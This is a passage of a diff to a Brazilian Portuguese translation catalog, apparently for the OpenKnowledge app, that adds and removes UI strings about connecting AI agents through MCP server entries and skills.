original"],+ "2gXnCO": ["Servidor MCP global"],"2hYmUH": ["[email protected]"],"2hpdRq": ["Ocultar o painel (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Digite uma URL válida (por exemplo https://api.openai.com/v1)."],"2jUGEP": ["Contar publicamente as instalações de habilidades"],"2l293S": ["Você pode restaurar este arquivo da Lixeira."],+ "2lJAvH": [+ "As linhas de terminal e desktop de ",+ ["label"],+ " compartilham uma mesma configuração, então removê-la desconecta as duas."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["Já registramos com a equipe e anexamos seus logs."],"2n3oDU": [@@ -362,6 +370,9 @@"3l_cXP": ["Dê uma olhada se quiser. Este arquivo exato é o que recebemos."],"3m2GBo": ["Buscando documentos"],"3mFsc3": ["Restaurar com as alterações remotas"],+ "3n7lnE": [+ "Este agente ainda não tem um arquivo desse tipo nesta máquina. Abra o agente uma vez e verifique novamente."+ ],"3nICSW": ["Adiciona uma entrada MCP do OpenKnowledge e a habilidade do projeto a <0>",["toolList"],@@ -404,6 +415,13 @@],"4A3Yzu": ["Bloco de código"],"4BITzH": ["Erro:"],+ "4C2RCg": [+ "Esta configuração é compartilhada com ",+ ["peers"],+ ". Removê-la aqui também a remove para ",+ ["peers"],+ "."+ ],"4CfgPM": ["A pasta do projeto foi criada, mas o git init falhou. Tente de novo."],"4E9jPa": ["Crie seu primeiro projeto"],"4EZrJN": ["Regras"],@@ -450,6 +468,7 @@["0"],"\" foi removido de todos os outros locais — a pasta de origem dele continua carregando"],+ "4sE6E9": ["Não deu para verificar quais ferramentas estão conectadas."],"4sKwf6": ["O arquivo já existe"],"4sUdTJ": ["pré-visualização com tema"],"4uNLmk": ["Fazendo pull"],@@ -478,6 +497,7 @@"5BlXTD": ["Não foi possível carregar a pré-visualização da versão. Você ainda pode escolher abaixo como resolver."],+ "5CHuXn": [["0"], " precisa de ", ["1"], ". Desative ambos ou mantenha ambos ativados."],"5ClEAu": ["Hashtag em linha para agrupar entre documentos."],"5D3Ior": ["Ocultar a pasta"],"5F5HYj": [["ahead"], " à frente, ", ["behind"], " atrás"],@@ -496,6 +516,9 @@"5OqaJi": ["Digite um nome de projeto"],"5PHgV2": ["Você também pode criar um por um terminal com <0>ok bug-report</0>."],"5QGTaA": ["Não foi possível copiar o caminho relativo"],+ "5RiC8D": [+ "As habilidades de descoberta são gerenciadas em conjunto para todas as ferramentas de IA. Instale esta em Configurações → Estúdio de habilidades."+ ],"5SwVv1": ["Não instalado"],"5Szq6N": ["Este endpoint ignorou o tamanho de vector que você configurou. Remova <0>search.semantic.dimensions</0> para usar o tamanho próprio do modelo."@@ -688,6 +711,12 @@"7IsvrP": ["Buscando atualizações"],"7JtSLi": ["Falha ao excluir o caminho"],"7MSbAT": ["Disponível em"],+ "7Ny8bV": [+ ["dependent"],+ " precisa de ",+ ["prerequisite"],+ ", e o OpenKnowledge não encontrou este agente nesta máquina."+ ],"7O7REc": ["Não foi possível restaurar ", ["0"], ". Tente novamente."],"7OhaRy": ["Busca no código"],"7Ongq0": ["Reduza meu arquivo AGENTS.md para menos de 40 mil caracteres"],@@ -817,6 +846,7 @@"8uGMP8": ["O conteúdo oculto fica aqui."],"8vCZcs": ["Falha ao abrir o arquivo."],"8vETh9": ["Mostrar"],+ "8wwkVu": ["Esta entrada mudou depois que o OpenKnowledge a escreveu. Ativá-la a substitui."],"8x6zk9": ["Ocultar editor de ", ["0"]],"9-lMCF": ["Cor de ", ["slot"], " — ", ["0"]],"90-wKT": ["OpenKnowledge leu o histórico de ", ["subject"]],@@ -969,7 +999,6 @@"AYoYhU": ["Falha na atualização: ", ["0"]],"AaC-CE": ["Quadro vazio"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["Entrada open-knowledge personalizada — não gerenciada pelo OpenKnowledge"],"AdcGcG": ["Aplicando sua alteração"],"AddR83": ["Não foi possível criar o projeto. Tente de novo ou escolha outro local."],"AeHuzT": [@@ -996,6 +1025,7 @@"AkA6DO": ["Faz parte do plugin ", ["0"], " — somente leitura; abra-o para editar uma cópia"],"Al8HPP": ["Aceitar a versão atual para o conflito ", ["0"]],"Am78jY": ["Arraste ", ["keyName"], " para reordenar"],+ "ApNWRQ": ["Remover o OpenKnowledge de ", ["0"], "?"],"ApeA0n": [["dropCount"], " edições desfeitas em ", ["docName"]],"Aq-O0x": ["status"],"AqnqMJ": ["Chave de API definida"],@@ -1045,6 +1075,9 @@"BGtzlf": [["uploadFolderName"], " — 1 arquivo"],"BH56dn": ["Texto personalizado"],"BKI4hX": ["Buscar no arquivo"],+ "BMoSQy": [+ "Este agente não oferece ao OpenKnowledge nenhuma forma de configurar isso para você. O guia de configuração dele traz as etapas manuais."+ ],"BOsvJ8": ["<0>ok</0> não funcionará em terminais externos até que você o adicione depois pelo menu Arquivo. Suas ferramentas de IA continuarão funcionando."],@@ -1130,11 +1163,7 @@"CU3AiE": ["Trocando de ramo"],"CUmCwI": ["Inserir linha abaixo"],"CWjM1r": ["documentos diretamente em ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ok/bin</0> e <1>~/.ok/env.sh</1> permanecem de qualquer forma — o app sempre os mantém."- ],"CXDYfm": ["Não foi possível ler se a habilidade deste projeto está instalada."],- "CXTwen": ["Não é seguro editar a configuração deste projeto"],"CXcveY": ["Open Knowledge mantém um arquivo de navegação denominado index.md em cada pasta que contém Markdown, cada um listando os documentos dessa pasta por tipo e vinculando-os às suas subpastas. Ele reescreve esses arquivos à medida que seus documentos são alterados e tudo o que você mesmo edita neles é substituído."],@@ -1168,9 +1197,9 @@"Em projetos Git, o Open Knowledge adiciona uma regra com escopo ao arquivo .gitattributes na raiz do repositório para combinar alterações simultâneas nos índices."],"CxVk-w": ["Comentar em ", ["address"]],+ "CxnZP4": ["Escolha o que o OpenKnowledge configura."],"Cz-K13": ["15 minutos"],"D-NlUC": ["Sistema"],- "D-Oh1s": ["Como configurar ", ["0"], " (abre no navegador)"],"D-_B7l": ["Conectado — este endpoint devolve vetores de ", ["0"], " dimensões."],"D0CegO": ["Uma segunda habilidade tem este nome — renomeie-a (ou exclua uma) para gerenciá-la por completo."@@ -1178,6 +1207,9 @@"D12vtS": ["(desanexado)"],"D2emTw": ["Algo deu errado ao enviar seus comentários. Tente de novo."],"D4H2N6": ["Remover ", ["tag"]],+ "D4I0F9": [+ "Escolha quais agentes aparecem nos menus de agentes do aplicativo e configure-os para que possam ler e atualizar seus documentos."+ ],"D7gKrd": ["O OpenKnowledge não conseguiu gravar as configurações de inicialização em .ok/local/terminal porque a pasta não está contida com segurança neste projeto. Verifique se ela é uma pasta real dentro do projeto, e não um link. O Claude pedirá que você aprove o OpenKnowledge."],@@ -1273,6 +1305,7 @@"E1_c72": ["Lista de tarefas"],"E1tG2u": ["Obter o Claude Code"],"E2Mv-X": ["Copiar o código fonte"],+ "E35Meh": ["Remover ", ["rowLabel"]],"E4XYYH": ["Ativar o terminal neste projeto"],"E5WeIy": ["Reabre a última aba do editor que foi fechada."],"E6lrpp": [@@ -1282,7 +1315,9 @@"E91VZY": ["Abrir em nova janela"],"E9bKSA": ["Criando"],"E9gh86": ["Você pode anexar até ", ["MAX_ATTACHMENTS"], " imagens."],+ "EBP_hA": ["Adiciona uma entrada MCP do OpenKnowledge à configuração de agente deste projeto."],"EBVbtP": ["Não foi possível duplicar o item"],+ "EDD3UL": ["Não detectado nesta máquina"],"EDl9kS": ["Assinar"],"EDm3wJ": ["Carregando o visualizador de diferenças"],"EEYbdt": ["Publicar"],@@ -1376,6 +1411,7 @@"EvPX7f": ["Abre um seletor de pastas para escolher onde clonar o repositório."],"EvXKHE": ["OpenKnowledge pesquisou na base de conhecimento"],"Evq3lu": ["Modo órfãs"],+ "Evsh6U": ["Seus documentos não serão alterados."],"ExPiRQ": ["Vai para o próximo diagnóstico de análise do CodeMirror."],"ExUzM4": ["habilidade \"", ["0"], "\""],"F-1xhe": [@@ -1409,7 +1445,6 @@"FEqWFL": ["Orienta seus agentes de IA sobre como trabalhar aqui."],"FEr96N": ["Tema"],"FF7V5K": ["Tamanho real"],- "FK57sK": ["integração MCP de ", ["names"], " reparada"],"FKVmcC": ["Configurações deste projeto. Algumas são compartilhadas com cada colaborador pelo git; outras se aplicam somente neste computador."],@@ -1518,6 +1553,12 @@"Qualquer arquivo .mdx. O formato é apenas .md, portanto, um leitor que procura .md nunca o abre - e se existir um .md com o mesmo nome, ele o lê."],"GSYWCm": ["Ocultar o painel do documento"],+ "GTvYzA": [+ ["dependent"],+ " precisa de ",+ ["prerequisite"],+ ", que o OpenKnowledge não consegue configurar para você. O guia de configuração tem os passos manuais."+ ],"GU1Y4A": ["Somente local foi solicitado, mas nenhum repositório git foi criado. Você pode mudar depois em Configurações → Sincronização e compartilhamento, quando o projeto estiver em um repositório git."],@@ -1593,6 +1634,11 @@],"H86f9p": ["Recolher"],"H8DVOJ": ["Idênticas nas duas: ", ["pick"], " continua lendo."],+ "H8tj8y": [+ "Esta configuração é compartilhada com ",+ ["peers"],+ ", e o OpenKnowledge não pode alterá-la daqui. Desvincule a pasta no Skills Studio primeiro."+ ],"HAkEqR": ["Arquivos recentes"],"HAvHev": ["Atualização automática desligada para \"", ["name"], "\""],"HAvRAI": [@@ -1615,9 +1661,6 @@"O Slidev não está instalado, então a ação do Slidev fica oculta. Instale-o e volte para esta janela."],"HSI88F": ["Excluir tabela"],- "HTW0Zw": [- "Falta um passo: rode <0>claude</0> neste projeto e aprove o OpenKnowledge uma vez."- ],"HZ7fEu": ["Nome do tema"],"HbcQYf": ["Substituir o link simbólico em ",@@ -1831,6 +1874,7 @@"KPW5WC": ["modelo movido"],"KQGZuq": ["Reaproveitada se já existir; criada se não."],"KRJ6xh": ["Ainda não há tags. Continue digitando para criar uma."],+ "KTxoDA": ["O OpenKnowledge não reconhece esta entrada. Ativá-la a substituirá."],"KUjOb9": ["rodando"],"KWL_Ih": ["Post de blog"],"KX1MZR": ["Seus repositórios"],@@ -1868,6 +1912,7 @@"KsAPaB": ["Este ramo está extraído em:"],"KtACeE": ["Padrão: <0>", ["0"], "</0>"],"KujtjC": ["Buscar"],+ "Kuw5NN": ["Como configurar ", ["rowLabel"]],"KvwJv8": ["Alguns arquivos não estão listados: a árvore de trabalho tem alterações demais."],"Kx881F": [["0"], " foi restaurado."],"L-rMC9": ["Redefinir para o padrão"],@@ -1934,7 +1979,6 @@],"LaskKp": ["Enviar para o chat (", ["0"], ")"],"Lbl6KA": ["Não deu para instalar a partir de ", ["0"], ": ", ["1"]],- "LbmLyU": ["Não é seguro editar a configuração desta ferramenta"],"LdABLa": ["Não foi possível abrir ", ["target"], ". Tente abrir manualmente."],"LdKIHS": ["Redigir uma especificação"],"LeGeTf": ["OpenKnowledge no GitHub"],@@ -1969,6 +2013,7 @@"Lrsl_h": ["O arquivo ", ["identity"], " está ausente. Ir para a referência."],"LtI9AS": ["Dono"],"LtSYdi": ["Mostrar no Finder"],+ "LtiJ5c": ["Habilidade do projeto"],"LuoJWu": [["truncatedShownCount",@@ -2098,9 +2143,6 @@"NIWAux": ["Nenhum documento registrado sob #", ["tagDocsName"], "."],"NJyQi_": ["O ramo ", ["shareBranch"], " não existe mais no remoto."],"NKkZXl": ["Inicializar e abrir"],- "NNJsn7": [- "Falta um passo: ative no Cursor → Settings → Tools & MCP (o Cursor deixa os servidores de projeto desligados até você ligá-los)."- ],"NOHyEE": ["Tentar o push de novo"],"NORKZU": ["Avisos do padrão: ", ["summary"]],"NQ8llq": ["Adicionar item"],@@ -2162,9 +2204,6 @@"O0Z2Xr": ["Saída"],"O2UpM1": ["Procurar"],"O3oNi5": ["E-mail"],- "O4PnDd": [- "O gerenciamento de ferramentas de IA só está disponível no app de desktop do OpenKnowledge."- ],"O6H89R": ["Resolvido"],"O6yEPk": ["Cria um novo projeto do OpenKnowledge na pasta que você escolher."],"O7_W_a": ["Abrir com IA"],@@ -2229,7 +2268,6 @@"OlFVNr": ["Perguntar à IA sobre a seleção"],"Oo_WWc": ["Nenhuma página encontrada"],"Oos8fo": ["Copiar comando"],- "OplnBG": ["O gerenciamento de ferramentas de IA não está disponível nesta compilação."],"OqqecQ": ["30 segundos"],"OsSaYm": ["Falha ao clonar: ", ["title"]],"OuQezS": ["Aplica-se quando você retomar esta conversa"],@@ -2257,6 +2295,11 @@"P6gXB-": ["Substituir ", ["keyName"]],"P6lAT3": ["Pasta de destino: ", ["linkTitle"], ". Clique para abrir a visão geral."],"P8AnMN": ["Procurando o Slidev"],+ "P9rQN2": [+ "As linhas de terminal e desktop de ",+ ["label"],+ " compartilham uma mesma configuração, então conectar uma conecta as duas."+ ],"PB4upl": ["Buscar a ocorrência anterior"],"PBQwGb": ["Busca arquivos, comandos, projetos e ações de passagem para a IA. O atalho K adiciona um link em vez disso quando há texto selecionado no editor visual; o atalho P sempre abre a paleta de comandos."@@ -2363,6 +2406,7 @@"QDZbvN": ["há ", ["diffDays"], " d"],"QGWzup": ["Carregando as habilidades do OpenKnowledge"],"QHCx0c": ["Histórico de relatórios de erro"],+ "QHcLEN": ["Conectado"],"QIrBIx": ["Expandir todos os arquivos"],"QIzioS": [["agentName"], " não aceita anexos de imagem."],"QKgePK": [["editor"], " alinhado ao código fonte (os bytes dele têm backup)"],@@ -2436,6 +2480,7 @@"RD6H9q": ["Open Knowledge reescreve esses arquivos index.md conforme os documentos são alterados, portanto, as edições manuais neles são substituídas."],+ "RD8cCw": ["O gerenciamento de conexões de agentes não está disponível nesta versão."],"RDjuBN": ["Configuração"],"RDrXh4": ["Configure as opções de usuário, de projeto e de integrações."],"REkvLz": [@@ -2469,6 +2514,7 @@"RSqaSd": ["Raiz do projeto"],"RVZJWQ": ["Buscar projetos..."],"RXEbZy": ["No app"],+ "RXYvxn": ["Esta opção não pode ser alterada automaticamente."],"RY6Bq1": ["Abrir ", ["targetNoun"], " compartilhado"],"RZXTlY": ["Correção automática (", ["count"], ")"],"R_U_A4": ["Adicione um padrão de arquivo ou pasta, ex.: guides/**/*"],@@ -2513,6 +2559,9 @@"S33tz3": ["Não conectado"],"S3qu11": ["Era um teste ou um projeto pontual"],"S48xcO": ["pendente"],+ "S6SbxA": [+ "Substitui a entrada \"open-knowledge\" existente neste arquivo. Os outros servidores do arquivo permanecem inalterados."+ ],"S6eHlw": ["Abra um projeto primeiro."],"S6l5dv": ["Não foi possível começar a criar um novo item"],"S9Vnum": ["Remover ", ["patternText"]],@@ -2798,7 +2847,6 @@"VFQXPl": ["A pré-visualização de links externos mostra um cartão com o nome do site, o título da página e a descrição quando você passa o cursor sobre um link."],- "VIwCaD": ["Entrada"],"VJaBca": ["Escolha uma pasta de habilidade"],"VL6VsE": ["Aceitar atual"],"VM7H66": ["Este arquivo é binário e não pode ser mostrado como texto."],@@ -2895,6 +2943,7 @@"W9NSe0": ["Verificando links"],"W9_Bub": ["As alterações locais se sobrepõem à sincronização que está chegando"],"WBNpt9": ["Não foi possível ler este tema (", ["0"], ")"],+ "WEYdDv": ["Recomendado"],"WFEbV1": ["Sinaliza problemas comuns de markdown no editor. Funciona com <0>markdownlint<1/></0>."],@@ -2968,19 +3017,19 @@"XBBZnv": ["O destino do link \"", ["shown"], "\" não corresponde a um documento existente."],"XBgr2S": ["Copiar para cá"],"XDzAnp": ["Abre em uma nova aba"],- "XEfNPL": [- "Instalado — o ok está disponível em terminais externos. Desmarcar remove-o; suas ferramentas de IA continuarão funcionando."- ],"XF1kgP": ["Tudo de ", ["source"], " já está atualizado"],- "XFpEgc": [- "Escolha quais agentes aparecem nos menus de agentes do aplicativo, como Ask AI, Open with AI e o botão + de novo chat. Desative um agente para ocultá-lo de todos eles."- ],"XGKy1z": ["Não foi possível mostrar a imagem"],"XH30C4": ["documento"],"XIltnd": ["Já existe aqui uma habilidade chamada \"", ["trimmed"], "\""],"XJOV1Y": ["Atividade"],"XK5cbh": ["Avança pelo histórico de navegação do OpenKnowledge."],"XNBGZw": ["Mensagem não enviada: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " precisa de ",+ ["prerequisite"],+ ", e este agente ainda não tem um arquivo desse tipo nesta máquina. Abra o agente uma vez e tente novamente."+ ],"XPJ0sN": ["Propriedades de ", ["settingsDescriptorLabel"]],"XPqe3B": ["Criar a nova tag #", ["tagValue"]],"XRuL0i": ["Criar página"],@@ -3045,6 +3094,12 @@"Xp7Kq4": ["Outra operação de sincronização está em andamento. Tente de novo em instantes."],"Xp94R1": ["Tentar mais uma vez"],"XpIZmv": ["Bloco de código delimitado com texto monoespaçado."],+ "XrPvMT": [+ ["dependent"],+ " precisa de ",+ ["prerequisite"],+ ", e o OpenKnowledge não consegue substituir essa entrada com segurança no formato deste arquivo."+ ],"Xs1kjx": ["Verificar atualizações a cada"],"Xs7IcT": ["Não foi possível acessar ", ["displayName"], ". Tentar de novo?"],"XszXjc": ["Renomeado para ", ["0"]],@@ -3064,6 +3119,7 @@["pickedRelative"],"</1>, porque ela contém uma pasta <2>.git</2> (um .ok/ por repositório git). O <3>diretório de conteúdo</3> é <4>.</4> por padrão (o repositório inteiro); digite uma subpasta para restringir."],+ "Y1wa2r": ["Remover o OpenKnowledge?"],"Y2tU6I": ["Excluir ", ["0"]],"Y5la_5": ["Instalar em"],"Y6PKd1": ["Remover ", ["name"], " dos projetos recentes"],@@ -3191,9 +3247,6 @@"ZWwYwM": ["Ramo base"],"ZWxfrc": ["propriedades da pasta limpas"],"ZWyHmq": ["Este projeto"],- "ZYtq3m": [- "Conecte a este projeto específico as ferramentas de IA que você usa. Estes arquivos ficam na pasta do projeto, então quem o abrir recebe a mesma configuração."- ],"Z_nNa2": ["Dê um nome ao seu tema"],"ZatAO_": ["Falha ao ativar a pré-visualização de links — ", ["detail"]],"Zf0w-R": [@@ -3242,7 +3295,6 @@["label"]," usa no lugar da do plugin — ela deixa de acompanhar as atualizações do plugin."],- "_5qBNl": ["Ferramentas de IA e CLI"],"_6FVBz": ["Ir para as abas 1-8"],"_7UQ7y": ["Palavra inteira"],"_8quCH": ["A partir de um modelo"],@@ -3255,6 +3307,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["integração MCP de ", ["names"], " reparada"],"_Bix3-": ["Ocorrências de ", ["localizedFirstMessage"]],"_DwR-n": ["Criando…"],"_G7A92": ["Manter index.md"],@@ -3266,9 +3319,6 @@"_JOGC0": ["Enviar comentários…"],"_LczaQ": ["Negado — ", ["optionName"]],"_NWEid": ["Busque arquivos de esquema por caminho"],- "_NX6gG": [- "O gerenciamento das ferramentas de IA do projeto não está disponível nesta compilação."- ],"_O7dJS": ["Versão diferente aqui — clique para comparar e resolver"],"_PACVa": ["Notas da versão"],"_PBJRl": ["Adicione pelo menos uma letra ou número."],@@ -3298,6 +3348,9 @@"_ci9Bj": ["O servidor retornou uma resposta de pasta incompleta."],"_eguJc": ["Enviando"],"_fQGOp": ["Espaços não são permitidos no caminho"],+ "_fZSIY": [+ "O OpenKnowledge não alterou este arquivo porque não conseguiu analisá-lo com segurança. Corrija o arquivo manualmente e tente novamente."+ ],"_gO_m8": ["Aguardando sua aprovação"],"_gkGSK": ["modelo excluído"],"_pY_Vq": ["O repositório foi movido, renomeado ou excluído."],@@ -3305,6 +3358,7 @@"_rP3HI": ["há ", ["minutes"], " min"],"_tekeB": ["propriedades da pasta atualizadas"],"_tjopj": ["Colar duplicado"],+ "_uxBz5": ["Adicionar MCP e habilidade para ", ["rowLabel"]],"_yB-24": ["tudo dentro de qualquer pasta ", ["0"], "/"],"a-cKXz": ["Selecionar todo o código"],"a3LDKx": ["Segurança"],@@ -3435,6 +3489,7 @@"\" antes de reconectar."],"bnOTEz": ["Recuperando…"],+ "bn_MDX": ["Por que isso requer atenção"],"bpMVIA": ["O destino do link \"",["shown"],@@ -3576,6 +3631,9 @@["chars", "plural", { "one": ["caractere"], "many": ["caracteres"], "other": ["caracteres"] }]],"d6qW27": [["agentName"], " informou: ", ["headline"]],+ "dCforW": [+ "Falha ao gravar este arquivo. Consulte o log do OpenKnowledge para saber o motivo."+ ],"dD7NPy": ["Estrutura"],"dDpCOp": ["A renomeação deu certo, mas a barra lateral pode estar desatualizada — atualize para ressincronizar"@@ -3589,6 +3647,7 @@["currentBaseLabel"],"</1>, em um worktree próprio dentro de <2>.ok/worktrees/</2>."],+ "dGcsnU": ["Remover para ambos"],"dIYSqk": ["remoto"],"dJw2_7": ["Salvo com o projeto para sua equipe."],"dMsx3p": ["Página inicial e central de navegação."],@@ -3603,6 +3662,9 @@"dVaXnv": ["As regras de conteúdo ainda não carregaram — tente de novo em instantes"],"dXCi3J": ["Algo quebrou"],"dXOolp": ["Sincronizando suas alterações"],+ "da7Yfw": [+ "Isso exclui as entradas do servidor MCP e os arquivos de habilidades listados abaixo. O agente perderá o acesso aos seus documentos até que você o adicione novamente."+ ],"darW93": [["pageCount",@@ -3721,6 +3783,7 @@}]],+ "ejiJeW": ["Habilidade de descoberta do OpenKnowledge"],"ekSPiP": [["0"], " já foi excluído."],"el2KyL": ["Slidev encontrado neste projeto. Os slides usarão a versão do projeto."],"emMrXQ": ["O servidor retornou uma resposta de duplicação malformada."],@@ -3738,6 +3801,7 @@"euc6Ns": ["Duplicar"],"evs0iw": ["Tags que correspondem a \"", ["tagListQuery"], "\""],"ewSbS_": ["Sessão de shell"],+ "ewlFNL": ["A reparação automática de MCP falhou para ", ["failures"]],"ezUmoU": ["Valores de elemento permitidos (vazio = qualquer)"],"f-k37b": ["Instalar esta habilidade"],"f1-q9m": ["mantém as habilidades"],@@ -3800,6 +3864,23 @@"As configurações de aprovação automática ainda não carregaram — tente de novo em instantes"],"fo6CCk": ["painel ", ["0"]],+ "followup.approve-once": [+ "Falta um passo: rode ",+ ["agent"],+ " neste projeto e aprove o OpenKnowledge uma vez."+ ],+ "followup.enable-manually": [+ "Falta um passo: ative no ",+ ["agent"],+ " → Settings → Tools & MCP (o ",+ ["agent"],+ " deixa os servidores de projeto desligados até você ligá-los)."+ ],+ "followup.trust-gated": [+ "Conecta automaticamente na próxima vez que você abrir este projeto em uma sessão confiável do ",+ ["agent"],+ "."+ ],"fqSfXY": ["Substituir"],"ft-BOm": ["Relatar um erro…"],"fuJZKk": ["Buscar ramos"],@@ -3807,6 +3888,15 @@"fwhX-N": ["Aumentar ou diminuir o recuo do código"],"fwrPh4": ["Digite um e-mail válido."],"fxbCNQ": ["Sincronizado. O link está atualizado."],+ "fybwfg": [+ "Esta configuração é compartilhada com ",+ ["peers"],+ " através de <0>",+ ["path"],+ "</0>. Removê-la aqui também a remove para ",+ ["peers"],+ "."+ ],"g-dkjJ": ["Os detalhes dos arquivos locais ainda não estão disponíveis."],"g12y1g": ["YAML inválido"],"g1ZTh_": [@@ -3832,9 +3922,6 @@}]],- "g4WlQK": [- "O gerenciamento das ferramentas de IA do projeto só está disponível no app de desktop do OpenKnowledge."- ],"g4XBm0": ["Título de seção pequeno."],"g4e0hS": ["Perguntar ao ", ["agentName"]],"g58Kwy": [@@ -3896,6 +3983,7 @@"gfb-CM": ["Não foi possível obter o ramo — entre no GitHub e tente de novo."],"gfdqcY": ["Não deu para aplicar a alteração: ", ["0"]],"gfohmY": ["Conectar ferramentas"],+ "ggMMa7": ["Servidor MCP do projeto"],"ggm6JX": ["Esta página ainda não existe. Abra para criá-la no editor e recolher o grafo."],"ggs9f8": ["Busque arquivos, pastas ou comandos"],"gh27t1": ["Pré-visualização de links"],@@ -3914,6 +4002,41 @@"gpbKxw": ["A validação de links não está disponível."],"gqk-3R": [["0"], " movido para ", ["destination"], "."],"gtEbeW": ["Destaque"],+ "guidance.mcp.managed-file": [+ "Grava um pequeno arquivo de ponte que o ",+ ["agent"],+ " carrega a partir deste projeto para alcançar o OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "Adiciona o OpenKnowledge à configuração MCP que o ",+ ["agent"],+ " lê neste projeto, para que ele possa ler, pesquisar e editar estes documentos."+ ],+ "guidance.mcp.session-injection": [+ "O ",+ ["agent"],+ " recebe as ferramentas do OpenKnowledge sempre que o OpenKnowledge o inicia; nada é gravado na configuração dele."+ ],+ "guidance.mcp.user-config": [+ "Adiciona o OpenKnowledge à configuração MCP do próprio ",+ ["agent"],+ ", para que todos os projetos desta máquina fiquem acessíveis."+ ],+ "guidance.skill.central-store": [+ "Coloca a habilidade do OpenKnowledge no repositório central de habilidades que o ",+ ["agent"],+ " lê."+ ],+ "guidance.skill.project": [+ "Coloca a habilidade do OpenKnowledge na pasta de habilidades do ",+ ["agent"],+ " para este projeto, para que as edições dele continuem atribuídas."+ ],+ "guidance.skill.user": [+ "Coloca a habilidade de descoberta do OpenKnowledge na pasta de habilidades global do ",+ ["agent"],+ ", para que ele encontre o OpenKnowledge em qualquer projeto."+ ],"gv5w9J": ["dono/repo, uma URL de git ou um caminho local"],"gvApb7": ["Transforme o que você lê em artigos claros e confiáveis. Salve uma fonte, descubra o que ela significa e guarde a versão final para poder se apoiar nela depois."@@ -3928,6 +4051,14 @@"h06R3C": ["Nenhuma página está sem links de saída no grafo."],"h16FyT": ["Listas"],"h2N-1n": ["Instalado em ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " precisa de ",+ ["prerequisite"],+ ", e o OpenKnowledge não reconhece essa entrada. Marque ",+ ["prerequisite"],+ " para substituí-la e salve novamente."+ ],"h3QZcB": ["Já existe um ramo chamado ",["shareBranch"],@@ -4045,7 +4176,6 @@"iH8pgl": ["Voltar"],"iHAJDj": ["Resolvendo o local padrão"],"iIaSUD": ["Espaços em branco"],- "iKS6gg": ["As habilidades foram movidas para Estúdio de habilidades."],"iKSP5j": ["Quebra de linha"],"iKZkk1": ["Valor da propriedade"],"iKvAeG": ["Verificando"],@@ -4100,6 +4230,7 @@"ij-Elv": ["Pré-visualização de imagem"],"ijLc3m": ["Lista com marcadores"],"ilodsp": ["Deixar os agentes usarem o OpenKnowledge sem perguntar"],+ "inJhKB": ["Substituir e salvar"],"ioMn4Z": ["Novo a partir de um modelo…"],"iodl3p": ["O servidor retornou uma resposta de upload malformada."],"ipCibE": ["Nomes de pasta vazios não são permitidos (//)"],@@ -4115,6 +4246,7 @@"irnKr_": ["Atualizado ", ["updatedRelative"]],"irrm_E": ["Remover a seleção"],"isRobC": ["Novo"],+ "itchkf": ["Conecta o agente ao OpenKnowledge em todos os projetos desta máquina."],"iuTKci": ["Ainda não há edições."],"iv452l": ["Documentação de ", ["0"], " (abre no navegador)"],"iycx_A": ["Fazendo push"],@@ -4307,6 +4439,7 @@"kfL8BJ": ["Falha na importação: ", ["0"]],"kj9pAE": ["Criando a página"],"kjlQ9D": ["vira um link simbólico"],+ "kjrq_8": ["Mais informações"],"kknhfj": ["Sem alterações"],"kkux8f": ["Não foi possível excluir ", ["0"], ". Tente novamente."],"klPS-L": ["Arquivo original — antes das edições deste agente."],@@ -4366,6 +4499,7 @@"l87Deg": ["Escolha o que uma nova aba inicia"],"l9s3IX": [["agentName"], " não conseguiu iniciar uma conversa."],"lAiyU_": ["Só o documento atual usa <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Conexões de agentes"],"lCC_D5": ["Assinando..."],"lGs_bQ": ["Página <0>*</0>"],"lHCR4I": ["Esvazie o campo para voltar ao endpoint padrão da OpenAI."],@@ -4457,9 +4591,6 @@"mHo0kp": ["O pedido para ativar as ferramentas do Open Knowledge expirou. Esta conversa funciona sem elas."],- "mLAjyL": [- "Dê às ferramentas de IA que você usa acesso para ler e atualizar seus projetos. Marcar uma caixa configura na hora; desmarcar remove."- ],"mPoOmg": ["instale primeiro uma habilidade aqui"],"mPy9lS": ["Organize minhas especificações existentes em um índice interligado e agrupado por área, e sinalize as que se desencontraram do código atual."@@ -4479,6 +4610,7 @@"Ainda não há padrões. Digite abaixo o nome de uma pasta ou arquivo para começar a ocultar arquivos."],"mdKFEy": ["Você cancelou o carregamento de \"", ["docName"], "\"."],+ "mdWhUY": ["O OpenKnowledge não encontrou este agente nesta máquina."],"mdzKSV": [["nodeCount",@@ -4551,6 +4683,7 @@"mxY24F": ["Duplica o item em foco na árvore de arquivos quando o foco está na barra lateral Arquivos."],+ "n11Jj7": ["Instala a habilidade de projeto do OpenKnowledge para este agente."],"n2XqGH": ["painel do editor"],"n2lRue": ["Faça commit ou stash das alterações para trocar:"],"n3T3EE": ["Instalado em ", ["label"], " — clique para remover"],@@ -4566,9 +4699,6 @@],"n7aopT": ["Modo do editor"],"n81AV0": [["owner"], "/", ["name"], " já existe. Escolha outro nome."],- "n8DwqQ": [- "Conecta automaticamente na próxima vez que você abrir este projeto em uma sessão confiável do Codex."- ],"nBHvPL": ["Cancelar edição"],"nBgzKO": ["Tornar esta a fonte — a pasta real da habilidade se muda para cá"],"nCzR-G": ["Copiar o código ", ["userCode"]],@@ -4637,6 +4767,9 @@"nsM-_m": ["Explorar centenas de temas"],"nsUDL8": [["0"], " de ", ["1"], " projetos selecionados"],"nskygk": ["Escolher agente"],+ "nta97o": [+ "Dá ao agente instruções para trabalhar com seus documentos e mantém suas edições atribuídas."+ ],"nwtY4N": ["Algo deu errado"],"nxlOpL": ["O OpenKnowledge está usando esta conta do GitHub."],"ny6vNn": [@@ -4700,6 +4833,9 @@"\". Recarregue para tentar de novo."],"oxdGJn": ["Antes de ir, quer contar por quê?"],+ "oxj8er": [+ "Conecta o agente a este projeto para que ele possa ler, pesquisar e editar seus documentos."+ ],"oy5bJW": ["Você pode adicionar"],"oyBV3W": ["Caminho da pasta de habilidades personalizada"],"p0Iq25": ["Inserir link"],@@ -4781,7 +4917,6 @@["2"],"”. Tudo o que apontar para esse arquivo no SKILL.md deixará de funcionar até que ele seja recriado."],- "psfGPX": ["Conexões MCP"],"psl2Sj": ["Sua alteração ainda está sendo salva — rode o teste de novo em 